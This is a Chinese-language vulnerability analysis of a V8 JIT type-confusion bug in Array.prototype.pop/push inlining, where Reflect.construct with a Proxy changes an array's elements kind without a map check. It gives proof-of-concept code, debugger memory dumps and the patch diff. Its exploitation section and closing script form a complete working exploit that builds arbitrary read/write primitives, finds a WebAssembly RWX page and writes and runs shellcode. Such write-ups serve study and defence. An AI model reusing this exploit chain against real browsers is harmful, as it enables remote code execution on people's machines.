前言

环境搭建

git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

Reflect.construct()方法

Reflect.construct() 方法的行为有点像 new 操作符 构造函数 , 相当于运行 new target(…args).

语法

Reflect.construct(target, argumentsList[, newTarget])

参数

target
    被运行的目标构造函数
argumentsList
    类数组,目标构造函数调用时的参数。
newTarget 可选
    作为新创建对象的原型对象的constructor属性, 参考 new.target 操作符,默认值为target。

返回值

以target(如果newTarget存在,则为newTarget)函数为构造函数,argumentList为其初始化参数的对象实例。

异常

如果target或者newTarget不是构造函数,抛出TypeError,异常。

v8 指针压缩

为了节省内存空间,v8将64位的指针压缩成了32位,具体做法是将高32位存放在r13寄存器,用4个字节存储低32位,在访问某个指针时,就将低32位指针加上r13保存的高32位。

同时,为了进一步节省内存空间,之前SMI 存储为value « 32,低32位都为0,现在用SMI的值用4个字节存储,并且为了不和指针混淆,最后一位不用(指针最后一位为1),所以将value « 1,相当于将原来的值乘以了2。

demo 代码如下:

var a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();

image-20200820162325505

漏洞分析

漏洞调用链:

JSCallReducer::ReduceJSCall
    ->switch(builtin_id)
        ->Builtins::kArrayPrototypePop
        ->JSCallReducer::ReduceArrayPrototypePop // 直接将最后一个元素弹出
            ->MapInference // 用于确定对象的类型
            	->NodeProperties::InferReceiverMapsUnsafe
                    -> switch (effect->opcode())
                        ->case IrOpcode::kJSCreate
                            ->return kReliableReceiverMaps; 
							// 表示类型不会改变 导致 maps_state_ = kReliableOrGuarded
                            //->return kUnreliableReceiverMaps; // 漏洞补丁:表示kJSCreate有side-effect
        	->MapInference::RelyOnMapsPreferStability
            //根据类型是否可靠,确定后面是否进行类型检查
        

调用MapInference::RelyOnMapsPreferStability根据maps_state_决定是否需要加入CheckMaps节点做对象类型检查:

img

maps_state_ = kReliableOrGuarded。导致调用MapInference:: RelyOnMapsPreferStability函数认为effect chain是安全的,从而没有加入CheckMaps节点,最终忽略了对象的类型检查。

相关漏洞代码:

ReduceArrayPrototypePop函数:

Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
  ...
  Node* receiver = NodeProperties::GetValueInput(node, 1);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
    
  MapInference inference(broker(), receiver, effect);    <---------
  if (!inference.HaveMaps()) return NoChange(); //如果没有获得该对象的类型,则不进行优化
    
  MapHandles const& receiver_maps = inference.GetMaps();
    
  std::vector<ElementsKind> kinds;
  if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds))  {
    return inference.NoChange();
  }
  if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();    <---------
  inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback());
    
  std::vector<Node*> controls_to_merge;
  std::vector<Node*> effects_to_merge;
  std::vector<Node*> values_to_merge;
  Node* value = jsgraph()->UndefinedConstant();
  Node* receiver_elements_kind = LoadReceiverElementsKind(receiver, &effect, &control);
  Node* next_control = control;
  Node* next_effect = effect;
  for (size_t i = 0; i < kinds.size(); i++) {      
  // inline pop for every inferred receiver map element kind and dispatch as appropriate
  ...
  }

NodeProperties::InferReceiverMapsUnsafe函数:

NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
  JSHeapBroker* broker, Node* receiver, Node* effect,
  ZoneHandleSet<Map>* maps_return) {
    ...
    InferReceiverMapsResult result = kReliableReceiverMaps; // <------如果对象类型不会改变则返回kReliableReceiverMaps
    while (true) {
      switch (effect->opcode()) {
      ...
        case IrOpcode::kCheckMaps: {
          Node* const object = GetValueInput(effect, 0);
          if (IsSame(receiver, object)) {
            *maps_return = CheckMapsParametersOf(effect->op()).maps();
            return result;
          }
          break;
        }
        case IrOpcode::kJSCreate: {
          if (IsSame(receiver, effect)) {
            base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
            if (initial_map.has_value()) {
              *maps_return = ZoneHandleSet<Map>(initial_map->object());
              return result;
            }
            // We reached the allocation of the {receiver}.
            return kNoReceiverMaps;
          }
//+         result = kUnreliableReceiverMaps;  // JSCreate can have side-effect. <------
          break;
        }
      ...  
      }
      // Stop walking the effect chain once we hit the definition of
      // the {receiver} along the {effect}s.
      if (IsSame(receiver, effect)) return kNoReceiverMaps;
      
      // Continue with the next {effect}.
      effect = NodeProperties::GetEffectInput(effect);
    }
}

Poc1 代码分析

ITERATIONS = 10000;
TRIGGER = false;

function f(a, p) {
    return a.pop(Reflect.construct(function() {}, arguments, p));
}

let a;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[2] = 1.1;
        }
        return Object.prototype;
    }
});
for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [0, 1, 2, 3, 4];
    if (isLastIteration)
        TRIGGER = true;
    print(f(a, p));
}

漏洞成因在于对象a的类型因为赋值浮点数,导致类型从<Map(PACKED_SMI_ELEMENTS)> 变为 <Map(PACKED_DOUBLE_ELEMENTS)>,但在pop输出时,仍按照SMI类型输出,而因为指针压缩的缘故,SMI数组和DOUBLE数组所占的内存大小是不同的,所以输出的数据是错误的。

如下面的demo代码:

var a = [0, 1, 2, 3, 4];

%DebugPrint(a);
%SystemBreak();

a[2] = 156842099844.51764;//0x4242424242424242

%DebugPrint(a);
%SystemBreak();
修改a[2]前:
pwndbg> x/10wx 0x03010820ffe9-1 
0x3010820ffe8:	0x080404d9	0x0000000a	0x00000000	0x00000002
0x3010820fff8:	0x00000004	0x00000006	0x00000008	0x080411c9
0x30108210008:	0x00000000	0x0820ffe9
    
修改a[2]后:
pwndbg> x/10wx 0x030108085e25-1
0x30108085e24:	0x08040a3d	0x0000000a	0x00000000	0x00000000
0x30108085e34:	0x00000000	0x3ff00000	0x42424242	0x42424242
0x30108085e44:	0x00000000	0x40080000

所以如果触发漏洞,对于变成DOUBLE数组a仍当作SMI类型输出,输出a[4],就会输出0x42424242。

Poc2 代码分析

let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
    //(156842065920.05的内存表示为0x4242424200000666)
}
let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        b = [0.2, 1.2, 2.2, 3.2, 4.3];
        return Object.prototype;
    }
});
function main(o) {
  return f(o);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
console.log(b.length);   // prints 0x333

(1)首先申请一个类型为<Map(HOLEY_DOUBLE_ELEMENTS)>的数组a[25],连续pop三次,将最后三个元素依次pop。

新建对象a:

DebugPrint: 0x386708086215: [JSArray]
 - map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 26
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x38670808613d <FixedDoubleArray[26]> {
           0: 0.1
        1-22: <the_hole>
          23: 6.1
          24: 7.1
          25: 8.1
 }

pwndbg> x/20gx 0x38670808613d-1
0x38670808613c:	0x0000003408040a3d	0x3fb999999999999a
0x38670808614c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808615c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808616c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808617c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808618c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808619c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ac:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861bc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861cc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
pwndbg> 
0x3867080861dc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ec:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861fc:	0x4018666666666666	0x401c666666666666  // a[23]  |  a[24]
0x38670808620c:	0x4020333333333333	0x080406e9082418b9  // a[25] 

将最后三个元素pop出:

DebugPrint: 0x386708086215: [JSArray]
 - map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 23
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x38670808613d <FixedDoubleArray[26]> {
           0: 0.1
        1-25: <the_hole>
 }

pwndbg> x/20gx 0x38670808613d-1
0x38670808613c:	0x0000003408040a3d	0x3fb999999999999a
0x38670808614c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808615c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808616c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808617c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808618c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808619c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ac:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861bc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861cc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
pwndbg> 
0x3867080861dc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ec:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861fc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff  // a[23]  |  a[24]
0x38670808620c:	0xfff7fffffff7ffff	0x080406e9082418b9  // a[25]

(2)利用a[0] = {};的赋值,使得a对象的类型由<Map(HOLEY_DOUBLE_ELEMENTS)>变为<Map(HOLEY_ELEMENTS)> ,因为double数组的elements单位长度为8个字节,而object数组单位长度为4个字节,所以内存实际上是缩小将近一半的。

执行了两次main(empty);,赋值a[0]={}; 前:

DebugPrint: 0x386708086215: [JSArray]
 - map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 25
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x38670808613d <FixedDoubleArray[26]> {
           0: 0.1
        1-22: <the_hole>
       23-24: 1.56842e+11
          25: <the_hole>
 }
pwndbg> x/20gx 0x38670808613d-1
0x38670808613c:	0x0000003408040a3d	0x3fb999999999999a
0x38670808614c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808615c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808616c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808617c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808618c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x38670808619c:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ac:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861bc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861cc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
pwndbg> 
0x3867080861dc:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861ec:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x3867080861fc:	0x4242424200000666	0x4242424200000666  // a[23]  |  a[24]
0x38670808620c:	0xfff7fffffff7ffff	0x080406e9082418b9  // a[25]

赋值a[0]={}; 后:

DebugPrint: 0x386708086215: [JSArray]
 - map: 0x386708241909 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x386708086489 <FixedArray[26]> [HOLEY_ELEMENTS]
 - length: 25
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x386708086489 <FixedArray[26]> {
           0: 0x38670808646d <Object map = 0x3867082402d9>
        1-22: 0x386708040385 <the_hole>
          23: 0x386708086505 <HeapNumber 1.56842e+11>
          24: 0x3867080864f9 <HeapNumber 1.56842e+11>
          25: 0x386708040385 <the_hole>
 }
pwndbg> x/20gx 0x386708086489-1 
0x386708086488:	0x00000034080404b1	0x080403850808646d
0x386708086498:	0x0804038508040385	0x0804038508040385
0x3867080864a8:	0x0804038508040385	0x0804038508040385
0x3867080864b8:	0x0804038508040385	0x0804038508040385
0x3867080864c8:	0x0804038508040385	0x0804038508040385
0x3867080864d8:	0x0804038508040385	0x0804038508040385
0x3867080864e8:	0x0808650508040385	0x08040385080864f9
0x3867080864f8:	0x000006660804035d	0x0804035d42424242
0x386708086508:	0x4242424200000666	0x9999999a0804035d
0x386708086518:	0x000000003fb99999	0x0000000000000000
pwndbg> 
0x386708086528:	0x0000000000000000	0x0000000000000000
0x386708086538:	0x0000000000000000	0x0000000000000000
0x386708086548:	0x0000000000000000	0x0000000000000000 // a[23]  |  a[24]
0x386708086558:	0x0000000000000000	0x0000000000000000 // a[25]

pwndbg> x/21wx 0x386708086489-1 
0x386708086488:	0x080404b1	0x00000034	0x0808646d	0x08040385
0x386708086498:	0x08040385	0x08040385	0x08040385	0x08040385
0x3867080864a8:	0x08040385	0x08040385	0x08040385	0x08040385
0x3867080864b8:	0x08040385	0x08040385	0x08040385	0x08040385
0x3867080864c8:	0x08040385	0x08040385	0x08040385	0x08040385
0x3867080864d8:	0x08040385
pwndbg> 
0x3867080864dc:	0x08040385	0x08040385	0x08040385	0x08040385
0x3867080864ec:	0x08086505	0x080864f9	0x08040385	0x0804035d
//按object类型寻址: a[23]      a[24]       a[25]

(3)这时候再申请b数组,由于内存分配的连续性,此时b对象紧挨着a对象,并且b对象在对象a类型还为double型时的内存区域内。

申请对象b:

DebugPrint: 0x386708086215: [JSArray]  //<---- 对象a
 - map: 0x386708241909 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x386708086489 <FixedArray[26]> [HOLEY_ELEMENTS]
 - length: 25
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x386708086489 <FixedArray[26]> {
           0: 0x38670808646d <Object map = 0x3867082402d9>
        1-22: 0x386708040385 <the_hole>
          23: 0x386708086505 <HeapNumber 1.56842e+11>
          24: 0x3867080864f9 <HeapNumber 1.56842e+11>
          25: 0x386708040385 <the_hole>
 }

DebugPrint: 0x38670808654d: [JSArray]   //<--------对象b
 - map: 0x386708241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x38670808651d <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 5
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x38670808651d <FixedDoubleArray[5]> {
           0: 0.2
           1: 1.2
           2: 2.2
           3: 3.2
           4: 4.3
 }

image-20200821155345137

如图中,绿框为类型为double时对象a.elements范围,阴影部分为申请的对象b,所以从图中可以看出a[25]和b.length是重叠的。

(4)触发漏洞,进行优化,a.push的操作仍将对象a当成double类型,所以8个字节的单位长度访问,此时就能越界读写对象b的内容,将b的length修改。

DebugPrint: 0x38670808654d: [JSArray]  // <------ 对象b
 - map: 0x386708241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x386708208f7d <JSArray[0]>
 - elements: 0x38670808651d <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 819
 - properties: 0x3867080406e9 <FixedArray[0]> {
    #length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x38670808651d <FixedDoubleArray[5]> {
           0: 0.2
           1: 1.2
           2: 2.2
           3: 3.2
           4: 4.3
 }

pwndbg> x/20gx 0x386708086489 -1 
0x386708086488:	0x00000034080404b1	0x080403850808646d
0x386708086498:	0x0804038508040385	0x0804038508040385
0x3867080864a8:	0x0804038508040385	0x0804038508040385
0x3867080864b8:	0x0804038508040385	0x0804038508040385
0x3867080864c8:	0x0804038508040385	0x0804038508040385
0x3867080864d8:	0x0804038508040385	0x0804038508040385
0x3867080864e8:	0x0808650508040385	0x08040385080864f9
0x3867080864f8:	0x000006660804035d	0x0804035d42424242
0x386708086508:	0x4242424200000666	0x9999999a0804035d
0x386708086518:	0x08040a3d3fb99999	0x9999999a0000000a
pwndbg> 
0x386708086528:	0x333333333fc99999	0x9999999a3ff33333
0x386708086538:	0x9999999a40019999	0x3333333340099999
0x386708086548:	0x0824189140113333	0x0808651d080406e9
0x386708086558:	0x4242424200000666	0x080406e9080406e9
//                 b.length

Poc连续pop三次,之后又通过main(empty); push 了两次,最后一次push触发漏洞,正是push进a[25],用于修改b.length,将b.length修改成了0x666,由于指针压缩,实际大小为0x666 » 2 = 0x333=819。

漏洞利用

通过Poc2代码可以修改一个浮点型数组的length,按照之前的思路,遍历查找wasm_function和data_buf的backing_store,这里构造任意读写原语用到了BigUint64Array的特性,而不是data_buf的backing_store.

如下面的demo:

let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();

BigUint64Array 利用data_ptr 指针来读写数组数据,而data_ptr = base_pointer+external_pointer

image-20200825145619672

而external_pointer&0xffffffff00000000 为寄存器r13保存的高32位地址,base_pointer 为低32位的地址。所以通过修改base_pointer,external_pointer和length就可以实现任意地址读写。同时我们可以通过遍历查找数组的内容来获取base_pointer,external_pointer的值。如下:

image-20200825151637679

(1)查找base_pointer,external_pointer以及length的值

for(let i=0; i < 0x100; i++)
{
	if(f2i(b[i]) == 0xdeadbeefdeadbeefn){
		bigarray_len_idx = i + 6;
		console.log("[+] find bigarray length : 0x" + hex(f2i(b[bigarray_len_idx])));
		external_pointer_idx = i + 7;
		console.log("[+] find external_pointer : 0x" + hex(f2i(b[external_pointer_idx])));
		base_pointer_idx = i + 8;
		console.log("[+] find base_pointer : 0x" + hex(f2i(b[base_pointer_idx])));
		break;
	}
}

(2)查找wasm_function 的值

for(let i=0; i < 0x100; i++)
{
	let tmp = f2half(b[i]); // 浮点数转化成整数,返回值为数组对象,tmp[0]为低32位,tmp为高32位
	if(tmp[0] == (0xdead << 1)){ 
        // 因为b数组为double型,单位长度为8个字节,标记可能在低4个字节
		wasm_idx = i + 1;
		addr = f2half(b[wasm_idx]);
		wasm_function_addr = addr[1];  
		console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
		break;
	}
	else if(tmp[1] == (0xdead << 1)){ // 标记可能在高4个字节
		wasm_idx = i + 1;
		addr = f2half(b[wasm_idx]);
		wasm_function_addr =  addr[0];  
		console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
        // 得到的是wasm_function的低32位地址
		break;
	}
}

(3)构造任意读写原语

function arb_read(addr)
{
	b[base_pointer_idx] = i2f(addr-0x8n); 
    // 覆盖base_pointer_idx, 因为external_pointer最后是0x7, 所以后面相加要先减去0x8(包括地址作为指针的末尾0x1)
	let ret = big_array[0];
	return ret;
}

function arb_write(addr, payload)
{
	sc = ByteToBigIntArray(payload);
	b[bigarray_len_idx] = i2f(0x100n);
	b[base_pointer_idx] = i2f(0n);
	b[external_pointer_idx] = i2f(addr);

	for(let i = 0; i<sc.length; i++) {
        	big_array[i] = sc[i];
   	}
}

(4)查找wasm_function的rwx 区域,利用任意写将shellcode 写入rwx区域,完成利用。

var wasm_shared_info = arb_read(BigInt(wasm_function_addr)+0xcn) & (0xffffffffn);
// BigUint64Array 数组读出的数据不能直接进行整数计算,需要用BigInt转化一下
console.log("[+] wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = arb_read(BigInt(wasm_shared_info)+0x4n) &(0xffffffffn);
console.log("[+] wasm_data : 0x" + hex(wasm_data));

var wasm_instance = arb_read(BigInt(wasm_data)+0x8n) &(0xffffffffn);
console.log("[+] wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = arb_read(BigInt(wasm_instance)+0x68n);
console.log("[+] wasm_rwx : 0x" + hex(wasm_rwx));

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

arb_write(wasm_rwx, shellcode);

wasm_function();

exp 代码:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Uint32Array(buf);

function f2i(f)
{
	float64[0] = f;
	return bigUint64[0]; 
}

function i2f(i)
{
	bigUint64[0] = i;
	return float64[0];
}

function f2half(val)
{
	float64[0] = val;
	let tmp = Array.from(Uint32);
	return tmp;
}

function half2f(val)
{
	Uint32.set(val);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

function ByteToBigIntArray(payload)
{

    let sc = []
    let tmp = 0n;
    let lenInt = BigInt(Math.floor(payload.length/8))
    for (let i = 0n; i < lenInt; i += 1n) {
        tmp = 0n;
        for(let j=0n; j<8n; j++){
            tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
        }
        sc.push(tmp);
    }

    let len = payload.length%8;
    tmp = 0n;
    for(let i=0n; i<len; i++){
        tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
    }
    sc.push(tmp);
    return sc;
}

function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

var data_buf;
var obj;
var big_array;

let a = [0.1,,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 8.063e-320);
    for(let i=0; i<0x10000; i++){}
}

let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        b = [0.2, 1.2, 2.2, 3.2, 4.3];
		obj = {mark: 0xdead, obj: wasm_function};
		big_array = new BigUint64Array(4);
		big_array[0] = 0x1122334455667788n;
		big_array[1] = 0xaabbaabbccddccddn;
		big_array[2] = 0xdeadbeefdeadbeefn;
		big_array[3] = 0xeeeeeeeeffffffffn;
        return Object.prototype;
    }
});
function main(o) {
  for(let i = 0; i < 0x10000; i++){};
  return f(o);
}

/*
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
*/

for(let i = 0; i < 0x10000; i++)
{
	empty();
}
main(empty);
main(empty);
//%OptimizeFunctionOnNextCall(main);
main(p);

console.log("[+] b.length : 0x" + hex(b.length));   // prints 0x1fe0

var external_pointer_idx = 0;
var base_pointer_idx = 0;
var bigarray_len_idx = 0;
var wasm_function_addr;

for(let i=0; i < 0x100; i++)
{
	if(f2i(b[i]) == 0xdeadbeefdeadbeefn){
		bigarray_len_idx = i + 6;
		console.log("[+] find bigarray length : 0x" + hex(f2i(b[bigarray_len_idx])));
		external_pointer_idx = i + 7;
		console.log("[+] find external_pointer : 0x" + hex(f2i(b[external_pointer_idx])));
		base_pointer_idx = i + 8;
		console.log("[+] find base_pointer : 0x" + hex(f2i(b[base_pointer_idx])));
		break;
	}
}

var highaddr = f2i(b[external_pointer_idx]) & 0xffffffff00000000n;
console.log("[+] highaddr : 0x" + hex(highaddr));

var wasm_idx = 0;
for(let i=0; i < 0x100; i++)
{
	let tmp = f2half(b[i]);
	if(tmp[0] == (0xdead << 1)){
		wasm_idx = i + 1;
		addr = f2half(b[wasm_idx]);
		wasm_function_addr = addr[1];  
		console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
		break;
	}
	else if(tmp[1] == (0xdead << 1)){
		wasm_idx = i + 1;
		addr = f2half(b[wasm_idx]);
		wasm_function_addr =  addr[0];  
		console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
		break;
	}
}

function arb_read(addr)
{
	b[base_pointer_idx] = i2f(addr-0x8n);
	let ret = big_array[0];
	return ret;
}

function arb_write(addr, payload)
{
	sc = ByteToBigIntArray(payload);
	b[bigarray_len_idx] = i2f(0x100n);
	b[base_pointer_idx] = i2f(0n);
	b[external_pointer_idx] = i2f(addr);

	for(let i = 0; i<sc.length; i++) {
        	big_array[i] = sc[i];
   	}
}

var wasm_shared_info = arb_read(BigInt(wasm_function_addr)+0xcn) & (0xffffffffn);
console.log("[+] wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = arb_read(BigInt(wasm_shared_info)+0x4n) &(0xffffffffn);
console.log("[+] wasm_data : 0x" + hex(wasm_data));

var wasm_instance = arb_read(BigInt(wasm_data)+0x8n) &(0xffffffffn);
console.log("[+] wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = arb_read(BigInt(wasm_instance)+0x68n);
console.log("[+] wasm_rwx : 0x" + hex(wasm_rwx));


var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

arb_write(wasm_rwx, shellcode);

wasm_function();

运行效果图:

image-20200825143246558

补丁

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc

@@ -386,6 +386,7 @@
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
         }
+        result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

表示kJSCreate有side-effect, 后面的检查需要加入CheckMaps。

参考链接

https://bugs.chromium.org/p/chromium/issues/detail?id=1053604

https://xz.aliyun.com/t/7314

https://www.anquanke.com/post/id/201951

https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/